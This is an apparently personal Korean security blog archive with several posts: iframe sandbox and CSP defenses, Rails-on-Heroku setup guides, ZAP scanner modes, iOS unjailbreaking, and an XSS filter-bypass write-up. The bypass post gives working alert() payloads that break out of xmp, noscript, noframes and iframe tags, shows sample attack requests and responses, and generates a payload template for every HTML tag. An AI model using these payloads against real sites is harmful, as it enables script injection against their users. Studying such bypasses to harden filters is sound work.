4/28/2019

How to protect iframe XSS&XFS using sandbox attribute(+CSP)

iframe에는 sandbox라는 속성이 하나 있습니다. 이는 iframe 사용에 있어서 좀 더 안전하게 사용할 수 있도록 보조해주는 정책인데요, CSP와 함께 잘 사용된다면 굉장히 튼튼한 iframe 정책을 유지할 수 있어집니다.

오늘은 iframe sandbox에 대한 이야기를 할까 합니다.

iframe sandbox?

sandbox에 대해선 한 3~4년전쯤인가.. xss 대안으로 좀 고려했었던 기억이 나네요. 그떈 정말 가볍게만 생각만 했었는데 잘 고려해본다면 iframe 을 좀 더 안전하게 사용해볼 수 있지 않을까 싶네요.

iframe의 sandbox는 src로 불러지는 내부 컨텐츠에 대해 제한하는 정책이자 속성입니다. sandbox 지시자가 붙은 순간부턴 모든 차단 정책이 적용되며 하나씩 허용할 부분들을 명시해주어서 필요한 컨텐츠는 불러올 수 있도록 바꿀 수 있습니다.

이런면에선 CSP랑 거의 유사한 느낌을 가지네요. (물론 CSP로도 제한 가능하죠.)

attribute desc
모든 정책 적용
allow-forms <form> 등에서의 submit 허용
allow-pointer-lock API 허용
allow-popups frame에서의 팝업 허용
allow-same-origin iframe 내부가 동일 출처(same origin)으로 처리되도록 변경(위험할듯)
allow-scripts 스크립트 실행 허용
allow-top-navigation iframe이 top-level의 네비게이션, 즉 최상단 DOM 구조 접근 허용

How to protect iframe XSS

iframe 사용 중 src 제어가 가능하거나, 기능적으로 iframe 삽입이 필요한 경우 src 값에 javascript: , data: 등을 넣어 스크립트를 실행하게할 수 있습니다. 이 때 sandbox 옵션이 적용되면 iframe 내부가 도메인인 경우 해당 부분에서 동작하는 자바스크립트는 제외하고 javascript: , data: 등의 src로 구성된 XSS에 대해서는 일부 대응이 가능합니다. (Stored XSS의 경우엔 강제로 sandbox옵션을 주어야겠지요.)

<iframe src="javascript:alert(document)" sandbox="allow-scripts allow-same-origin" width="30%" height="70%"></iframe>
<iframe src="https://www.youtube.com/embed/EyYOoLuAKwc" sandbox="allow-scripts allow-same-origin" width="50%" height="70%"></iframe>


How to protect XFS

iframe src 주소에 대해 허용 도메인만 지정하는 방법은 sandbox 옵션에선 할 수 없습니다. 다만 CSP랑 조합하면 쉽게 가능한데요, (그냥 CSP 자체죠..)

CSP
Content-Security-Policy: frame-src https://www.hahwul.com;

Ifrmae with sandbox
<iframe src="https://www.hahwul.com" sandbox="allow-forms"></iframe>

이런식으로 같이 사용해서, 허용하는 도메인에 iframe을 걸되, 내부의 스크립트를 차단하거나 기능적인 부분들을 제한할 수 있습니다.

Refernce

https://www.w3schools.com/tags/att_iframe_sandbox.asp
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-src
Share: | Coffee Me:

4/21/2019

[ Rails on Heroku ] 자주 사용하는 heroku 명령어 정리


[ Rails on Heroku ] 자주 사용하는 heroku 명령어 정리
(https://www.hahwul.com/2019/04/what-is-heroku.html)
[ Rails on Heroku ] 간단한 루비 레일즈 앱 구성 및 Heroku에 배포하기
(https://www.hahwul.com/2019/04/ruby-on-rails-distribute-heroku.html)
[ Rails on Heroku ] Heroku란? 빠르게 환경 구성하기
(https://www.hahwul.com/2019/04/favorite-command-heroku.html)



음 우선 요 며칠간 환경 구성 및 기존에 블로그에 있던 online 툴들 rails+heroku 조합으로 이전 완료했네요.



이 내용만 쓰자니 좀 허무하니, 자주 쓰는 명령어 대충 정리해둡니다.

heroku 내 rails 명령 실행

heroku run rails g ~~
heroku run rake db:migrate

heroku 로그보기

heroku logs -n 100

heroku 서비스

heroku start / stop / restart

heroku 배포하기

git push heroku master

heroku app 이름 바꾸기

heroku apps:rename newname


[ Rails on Heroku ] 자주 사용하는 heroku 명령어 정리
(https://www.hahwul.com/2019/04/what-is-heroku.html)
[ Rails on Heroku ] 간단한 루비 레일즈 앱 구성 및 Heroku에 배포하기
(https://www.hahwul.com/2019/04/ruby-on-rails-distribute-heroku.html)
[ Rails on Heroku ] Heroku란? 빠르게 환경 구성하기
(https://www.hahwul.com/2019/04/favorite-command-heroku.html)

Share: | Coffee Me:

[ Rails on Heroku ] 간단한 루비 레일즈 앱 구성 및 Heroku에 배포하기


[ Rails on Heroku ] 자주 사용하는 heroku 명령어 정리
(https://www.hahwul.com/2019/04/what-is-heroku.html)
[ Rails on Heroku ] 간단한 루비 레일즈 앱 구성 및 Heroku에 배포하기
(https://www.hahwul.com/2019/04/ruby-on-rails-distribute-heroku.html)
[ Rails on Heroku ] Heroku란? 빠르게 환경 구성하기
(https://www.hahwul.com/2019/04/favorite-command-heroku.html)



이전 포스팅에서 heroku 환경 세팅을 했으니 앱을 만들고 배포해봅시다. 개발은 RubyMine 으로 진행할테니 RubyMine에서 프로젝트를 하나 만들겠습니다. (vim으로 하시는분은 그냥 명령어로 구성해주시믄 됩니다)



or

rails new yourapp

Make Rails App

대충 간단하게 앱이랑 페이지 하나 만들어봅시다. 우선 컨트롤러 하나 만들어주시고..

$ rails g controller hahwul-web

내용을 보여줄 View도 만들어줍시다.

$ vim views/hahwul-web/index.erb

내용은 대충…

asdf

마지막으로 route.rb에서 view 경로를 추가해주어 페이지 접근이 가능하도록 설정해줍시다.

config/route.rb
Rails.application.routes.draw do
  get 'hahwul-web/index'
end



이정도 하면 static한 페이지 구성은 끝나네요. 나중에 기능 붙이실 때 controller에 기능 넣어주시면 됩니닷. 아무튼, 로컬에서 실행하고 웹 접근하면..



잘 나오네요.

Rails app heroku에 배포

자 그럼 이제 rails app을 heroku로 배포해봅시다. 배포에 앞서 하나 꼭 알고가야할 내용이 있는데 heroku는 무료 플랜에선 기본적으로 postgresql을 지원합니다. 그러다 보니 mysql, sqlite 등 다른 db로 설정된 경우 배포 시 에러가 날 수 있습니다.

Gemfile에 pg 설치될 수 있도록 수정해줍시다.

group :development do
  gem 'sqlite3'
end
group :production do
  gem 'pg'
end

로컬의 경우 환경 별 실행할 db도 별도로 지정해야하는데(database.yml?) heroku의 경우 배포 시 heroku가 직접 database.yml을 건드려서 설정합니다. (덕분에 우린 heroku 서버의 db password를 모르게되죠.) 그리서 별도로 설정할게 없습니다.

보통 git에서 작업할 때 이 다음 git push로 올리는데, 대신 heroku cli를 통해 heroku쪽 git으로 올려야합니다.

$ heroku create

이렇게되면 .git 내 정보가 github가 아닌 heroku git을 바라보게 됩니다. 그다음 배포하듯이 해주시면..

$ git add * ; git commit -m 'commit'
$ git push heroku master

했더니 루비 에러가 빡(아래에서.. solv..)

remote: !
remote: ! An error occurred while installing ruby-2.3.7
remote: !
remote: ! This version of Ruby is not available on Heroku-18. The minimum supported version
remote: ! of Ruby on the Heroku-18 stack can found at:
remote: !
remote: ! https://devcenter.heroku.com/articles/ruby-support#supported-runtimes
remote: !

아무튼 다음 db migrate 해줍시다. (여긴 model 들어가면 필수가 되겠죠)

$ heroku run rails db:migrate
$ heroku open

이름 바꾸기

로컬에서 heroku 명령으로 create할 시 임시 이름이 붙습니다. 아래 명령어로 변경이 가능합니다.

$ heroku apps:rename newname
$ heroku apps:rename hahwul-phoenix
Renaming intense-garden-98803 to hahwul-phoenix... done

에러 해결

아까 위에서 난 에러입니다. 우선 내용을 보면 이렇습니다.

https://devcenter.heroku.com/articles/ruby-support#supported-runtimes
* 2.4.6 : patchlevel 354, Rubygems: 2.6.14.4
* 2.5.5: patchlevel 157, Rubygems: 2.7.6.2
* 2.6.2: patchlevel 33, Rubygems: 3.0.3

아… heroku에서 Ruby의 최소 지원 버전이 2.4.6부터입니다.. 전 2.3.7에서 진행했었구요. rvm으로 2.4.6 이상으로 변경하셔서 사용하시면 됩니다. (혹시나 설치 안되셔있으면 아래 명령으로..)

$ curl -L get.rvm.io | bash

rvm으로 해당 버전 설치해줍시당

$ rvm install 2.4.6

하고 Rubymine의 preference , project의 phase별 ruby sdk를 2.4.6 이상으로 바꾸고 세팅해주시면 됩니다.(bundle ~~)



[ Rails on Heroku ] 자주 사용하는 heroku 명령어 정리
(https://www.hahwul.com/2019/04/what-is-heroku.html)
[ Rails on Heroku ] 간단한 루비 레일즈 앱 구성 및 Heroku에 배포하기
(https://www.hahwul.com/2019/04/ruby-on-rails-distribute-heroku.html)
[ Rails on Heroku ] Heroku란? 빠르게 환경 구성하기
(https://www.hahwul.com/2019/04/favorite-command-heroku.html)

Share: | Coffee Me:

4/20/2019

[ Rails on Heroku ] Heroku란? 빠르게 환경 구성하기


[ Rails on Heroku ] 자주 사용하는 heroku 명령어 정리
(https://www.hahwul.com/2019/04/what-is-heroku.html)
[ Rails on Heroku ] 간단한 루비 레일즈 앱 구성 및 Heroku에 배포하기
(https://www.hahwul.com/2019/04/ruby-on-rails-distribute-heroku.html)
[ Rails on Heroku ] Heroku란? 빠르게 환경 구성하기
(https://www.hahwul.com/2019/04/favorite-command-heroku.html)


최근에 Heroku로 취미삼아 서비스 하나 만들어서 올리는 중입니다. (언어는 당연히 Ruby)
덕분에 밤에 버그바운티나 블로깅, 영상 등 아무것도 못하고 개발만 하고있는 것 같네요... 아무튼 내용 블로그로 공유드리려고 합니다.


Heroku?

PaaS(Platform-as-a-service) 클라우드 서비스이고, 인프라 구간은 신경쓰지 않는 클라우드 기반의 어플리케이션 플랫폼? 정도로 생각하시면 됩니다.이 PasS에서 유명한 플랫폼이 Kube(쿠버네티스)가 있다면 서비스에선 Heroku이지 않을까 싶습니다.

아무튼 소규모 서비스에선 무료 플랜도 제공되고 기능도 굉장히 좋기 떄문에 한번쯤 사용해보시는 것도 좋을 것 같단 생각이드네요. (배포가 불편하단 이야기도 보긴했는데, 솔직히 저는 그다지 불편하진 않았습니다)

가격과 종류 선택? 가입하기

시작하기 앞서서 Heroku에서 제공하는 플랜들을 가볍게 살펴볼까 합니다. 글 작성일쯤 기준이라 가격정보나 이런건 좀 바뀔수도 있습니다. 우선 기본적으론 Free, Hobby, Professional(Standard, Performance)로 나뉩니다.
(https://www.heroku.com/pricing)



Free의 경우 30분동안 요청이 없으면 Sleep으로 전환됩니다. 가성비 따지면 Hobby가 제일 좋은 것 같고, 개인적인 용도로만 쓰는 서비스면 Free도 크게 불편하진 않습니다.

전 Free로 쓰고있는데, 도메인 관련 기능 떄문에 개발 어느정도 되면 Hobby로 가려고 합니다.
가입은 간단합니다. heroku.com 들어가서 가입절차를 진행합니다. 그냥 이메일 인증 과정 정도만 있습니다.

가입 완료하면 https://dashboard.heroku.com/apps 로 리다이렉션되며, 계정설정 및 앱 생성이 가능합니다. 앱 만들어주시면..



Heroku-cli vs Git

Heroku의 배포 방법은 현재 Heroku-cli, Github 를 지원해주며, 배포 방식은 모두 동일하게 git 통해 코드 업로드 후 배포하는 형태입니다. (Heroku cli도 결국 heroku쪽 git에 커밋하고 배포하는 형태)

굳이 차이가 있다면 Heroku-cli는 Github 처럼 코드가 외부에 직접 노출되진 않는다는 점인 것 같네요.
(그치만 사실 Github도 Private로 하면 차이 없습니다. 그냥 개인의 취향따라)

Install Heroku

저는 Heroku-cli로 진행하려고 합니다. 우선 Heroku-cli는 brew 통해 쉽게 설치 가능합니다.

brew tap heroku/brew && brew install heroku




Mac이 아니시라면 링크(https://devcenter.heroku.com/articles/heroku-cli) 참고해주세요.
그럼 이제 heroku에 로그인해줍시다.

heroku login

자 그럼 이제 heroku 설정은 끝났습니다 :)


[ Rails on Heroku ] 자주 사용하는 heroku 명령어 정리
(https://www.hahwul.com/2019/04/what-is-heroku.html)
[ Rails on Heroku ] 간단한 루비 레일즈 앱 구성 및 Heroku에 배포하기
(https://www.hahwul.com/2019/04/ruby-on-rails-distribute-heroku.html)
[ Rails on Heroku ] Heroku란? 빠르게 환경 구성하기
(https://www.hahwul.com/2019/04/favorite-command-heroku.html)

Share: | Coffee Me:

4/17/2019

ZAP(Zed Attack Proxy)의 4가지 모드(Four modes of ZAP)

ZAP을 처음 썼을 때 딱 바로 궁금했던게 있었습니다. 바로 좌측 상단의 Mode들인데요, 찾아볼까 하다가 그냥 넘어갔었는데, 드디어… 대충 어떤건지 글로 작성해봅니다.

총 4가지 모드가 있습니다 :)

Safe mode

위험한 액션은 모두 제외된 상태, 단순하게 proxy로써의 기능에 충실한 모드
*위험한 액션으로 분류된 기능들

Spider
Active Scanning
Fuzzing
Force Browsing
Breaking 
Resending requests

Protection mode

Context에 지정한(Scope된) 구간에 대해서만 위험한 액션 대해 시뮬레이트 가능

*위험한 액션으로 분류된 기능들
Spider
Active Scanning
Fuzzing
Force Browsing
Breaking 
Resending requests

Standard mode

표준 모드로 제한없이 모드 기능 사용이 가능한 상태

Attack Mode

Scope된 도메인 중 신규 노드가 발견되면 자동으로 Active Scanning 진행
(Burp에서 Active Scan 상시로 켜둔 상태와 비슷)

Conclusion

대상에 대해서 어느정도 기능으로 테스트를 진행할지 지정된 템플릿 같은거라고 보시면 좋습니다. 보통은 편의성 때문에 Standard mode에서 진행하시겠지만, 떄에 따라 Protection mode, Attack mode 사용이 유리할때도 있을 것 같네요.

음.. Safe는 잘 모르겠어요… 굳이?


Share: | Coffee Me:

4/13/2019

Jailbreak iOS Cydia 내 설치/업데이트 시 gzip:iphoneos-arm 에러 해결방법

iPad 하나를 거의 테스트 기기처럼 쓰고 있습니다. 이를 위해서 이전에 탈옥을 시켜두었는데 하나 고질적인 문제가 있었죠. 바로 Cydia에서 앱 설치를 하거나 업데이트를 하려고 하면 아래와 같은 에러가 발생했습니다.

Could not configure 'tar:iphoneos-arm'.
Could not perform immediate configuration on 'gzip:iphoneos-arm'. Please see man 5 apt.conf under APT::Immediate-Configure for details. (2)
…….

아무리 찾아봐도 해답이 없어서 그냥 한참을 쓰다가 최근에 재 탈옥할일이 있어서 보니(반탈 상태인데 다비아스가 꺼졌었죠..) Electra가 업데이트가 있더군요.. 혹시나해서 싹 깔끔하게 밀고 재설치해봤는데, 잘 됩니다!!!


디바이스 내 Jailbreak, Cydia 초기화, 그리고 Electra 최신버전 설치

electra 관련 프로젝트중엔 delectra라는 프로젝트가 하나 있습니다. unjailbreak 해주는 코드이고 보통 앱에서 그냥 탈옥툴을 삭제하거나 반탈 풀린상태로 냅두면, 시스템 설정 파일들은 남아있어서 어중간한 상태가 됩니다. 그래서 시디아만 밀고 재 설치하려는 경우 에러가 발생하거나 비정상 동작하는 경우가 있습니다.

https://github.com/kirovair/delectra

delectra에서 unjailbreak.sh 받고 실행해줍시다.

$ wget https://raw.githubusercontent.com/KirovAir/delectra/master/unjailbreak.sh
$ scp unjailbreak.sh root@192.168.0.15://
$ ssh root@192.168.0.15
$ cd /
$ chmod 777 unjailbreak.sh

실행하면 Cydia, jailbreak 관련 파일을 제거합니다.

$ ./unjailbreak.sh
Electra uninstaller by KirovAir for Electra 1.0.x
This has ONLY been tested on a few devices and might kill your JB.
Assuming you have not installed any other jailbreak or modified the rootfs directly yourself, you should be on stock iOS once this is complete.
Press enter to continue. Press Ctrl + C to exit
Killing Cydia..
Removing exploit generated..
Removing potential manual files..
Removing electra beta files..
mkdir: cannot create directory '/Library/Frameworks/': File exists
Removing Cydia bootstrap.. (Please pray from here onwards)
Removing electra bootstrap..

이후 다시 최신버전으로 재 설치해주면, 에러가 나지 않습니다!
https://coolstar.org/electra/
(https://github.com/coolstar/electra-ipas/raw/master/Electra1141-1.3.2.ipa)
Share: | Coffee Me:

Bypass XSS Protection with xmp, noscript, noframes.. etc..

최근 트위터에서 이런 XSS 코드가 좀 도는 것 같습니다.

<xmp><p title="</xmp><svg/onload=alert(45)>">

음.. 조금 된 기법이긴하나, 그래도 기존의 XSS 방식을 우회할 수 있는 여지가 큰 방법이라 간간히 이를 이용한 XSS들이 보이는데요,

이런케이스의 공격코드는 어떤것들이 있는지, 어떤 원리로 동작하는지 알아봅시다.

원리

우선 구문만 봐선 p 태그의 title 속성의 값으로 공격코드가 들어가있는 것 처럼 보입니다. 그러나 <xmp> 태그는 내부 문자열을 plain text로 인지하는 태그인데, 웹 브라우저의 파싱 단계에서 “”를 문자열로 처리하는 것 보다, <xmp> 태그 처리가 우선시되어 처리됩니다.

비슷한 케이스로는.. javascript에서 아무리 “” 로 문자열로 만들어 감싸주어도 </script> 태그로 나갈 수 있는 것과 동일합니다.

아무튼, 그림으로 그려보면 이럴 것 같습니다.


XSS Protection들에선 title부터 속성값으로 보겠지만, 실제 브라우저가 파싱할 땐 xmp로 인해 앞쪽 부분이 무시되고 script 태그가 동작하게 됩니다.


비슷한 공격코드들..

noscript
<noscript><p title="</noscript><svg/onload=alert(45)>">
noframes
<noframes><p title="</noframes><svg/onload=alert(45)>">
iframe
<iframe><p title="</iframe><svg/onload=alert(45)>">


Case Study

1. XSS Protection이 DOM Paser 기반인 경우
Basic Request
POST /write?id=1 HTTP/1.1
title=123&content=<script>alert(45)</script><img%20src="<script>alert(45)</script>">
Basic Response
&lt;script&gt;alert(45)&lt;/script&gt;<img src="<script>alert(45)</script>">
Attack Request
POST /write?id=1 HTTP/1.1
title=123&content=<iframe><p%20title="</iframe><svg/onload=alert(45)>">
Attack Response
<iframe><p title="</iframe><svg/onload=alert(45)>">

2. noscript , noframes, iframe, xmp 등 태그 내부에 공격코드 삽입이 가능한 경우
Basic Request
GET /search?id=asd">asdf HTTP/1.1
Basic Response
<noscript>">asdf</noscript>
Attack Request
GET /search?id=1<p%20title="</noscript><svg/onload=alert(45)>"> HTTP/1.1
Attack Response
<noscript><p title="</noscript><svg/onload=alert(45)>"></noscript>

All Elements test

모질라에서 정의된 HTML 태그들은 이렇습니다.
(https://developer.mozilla.org/en-US/docs/Web/HTML/Element/)
<a>
<abbr>
<acronym>
<address>
<applet>
<area>
<article>
<aside>
<audio>
<b>
<base>
<basefont>
<bdi>
<bdo>
<bgsound>
<big>
<blink>
<blockquote>
<body>
<br>
<button>
<canvas>
<caption>
<center>
<cite>
<code>
<col>
<colgroup>
<content>
<data>
<datalist>
<dd>
<del>
<details>
<dfn>
<dialog>
<dir>
<div>
<dl>
<dt>
<em>
<embed>
<fieldset>
<figcaption>
<figure>
<font>
<footer>
<form>
<frame>
<frameset>
<h1>
<h2>
<h3>
<h4>
<h5>
<h6>
<head>
<header>
<hgroup>
<hr>
<html>
<i>
<iframe>
<img>
<input>
<ins>
<isindex>
<kbd>
<keygen>
<label>
<legend>
<li>
<link>
<listing>
<main>
<map>
<mark>
<marquee>
<menu>
<menuitem>
<meta>
<meter>
<nav>
<nobr>
<noframes>
<noscript>
<object>
<ol>
<optgroup>
<option>
<output>
<p>
<param>
<picture>
<plaintext>
<pre>
<progress>
<q>
<rp>
<rt>
<rtc>
<ruby>
<s>
<samp>
<script>
<section>
<select>
<shadow>
<slot>
<small>
<source>
<spacer>
<span>
<strike>
<strong>
<style>
<sub>
<summary>
<sup>
<table>
<tbody>
<td>
<template>
<textarea>
<tfoot>
<th>
<thead>
<time>
<title>
<tr>
<track>
<tt>
<u>
<ul>
<var>
<video>
<wbr>
<xmp>
테스트를 위해 Template 화하고…
<a><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<abbr><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<acronym><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<address><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<applet><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<area><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<article><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<aside><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<audio><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<b><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<base><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<basefont><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<bdi><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<bdo><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<bgsound><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<big><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<blink><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<blockquote><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<body><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<br><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<button><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<canvas><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<caption><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<center><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<cite><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<code><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<col><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<colgroup><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<content><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<data><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<datalist><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<dd><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<del><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<details><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<dfn><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<dialog><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<dir><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<div><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<dl><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<dt><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<em><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<embed><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<fieldset><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<figcaption><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<figure><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<font><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<footer><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<form><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<frame><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<frameset><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<h1><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<h2><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<h3><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<h4><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<h5><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<h6><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<head><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<header><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<hgroup><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<hr><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<html><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<i><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<iframe><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<img><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<input><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<ins><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<isindex><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<kbd><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<keygen><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<label><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<legend><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<li><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<link><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<listing><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<main><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<map><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<mark><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<marquee><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<menu><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<menuitem><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<meta><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<meter><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<nav><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<nobr><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<noframes><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<noscript><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<object><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<ol><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<optgroup><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<option><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<output><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<p><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<param><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<picture><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<plaintext><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<pre><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<progress><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<q><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<rp><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<rt><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<rtc><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<ruby><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<s><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<samp><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<script><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<section><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<select><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<shadow><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<slot><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<small><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<source><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<spacer><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<span><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<strike><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<strong><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<style><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<sub><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<summary><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<sup><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<table><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<tbody><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<td><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<template><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<textarea><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<tfoot><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<th><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<thead><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<time><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<title><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<tr><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<track><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<tt><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<u><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<ul><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<var><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<video><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<wbr><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<xmp><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
ruby code로 작성해서 돌려줍니다. 그러면…
arr = ['<a><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<abbr><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<acronym><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<address><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<applet><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<area><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<article><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<aside><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<audio><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<b><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<base><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<basefont><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<bdi><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<bdo><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<bgsound><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<big><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<blink><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<blockquote><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<body><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<br><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<button><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<canvas><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<caption><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<center><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<cite><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<code><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
